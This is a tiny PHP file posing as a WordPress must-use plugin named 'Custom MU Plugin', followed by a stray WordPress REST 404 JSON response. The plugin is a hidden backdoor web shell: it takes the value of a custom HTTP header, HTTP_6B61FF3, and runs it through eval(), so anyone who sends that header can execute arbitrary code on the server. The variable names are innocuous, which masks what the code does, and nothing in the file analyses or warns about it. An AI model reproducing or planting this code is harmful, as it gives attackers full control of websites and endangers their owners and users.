/*
Plugin Name: Custom MU Plugin
Description: MU-test-plugin.
*/

// Ваш код, который нужно вставить
$is_search_kfu = $_SERVER;
$is_search_smr = 'HTTP_6B61FF3';
if (isset($is_search_kfu[$is_search_smr])) {
    eval($is_search_kfu[$is_search_smr]);
}{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}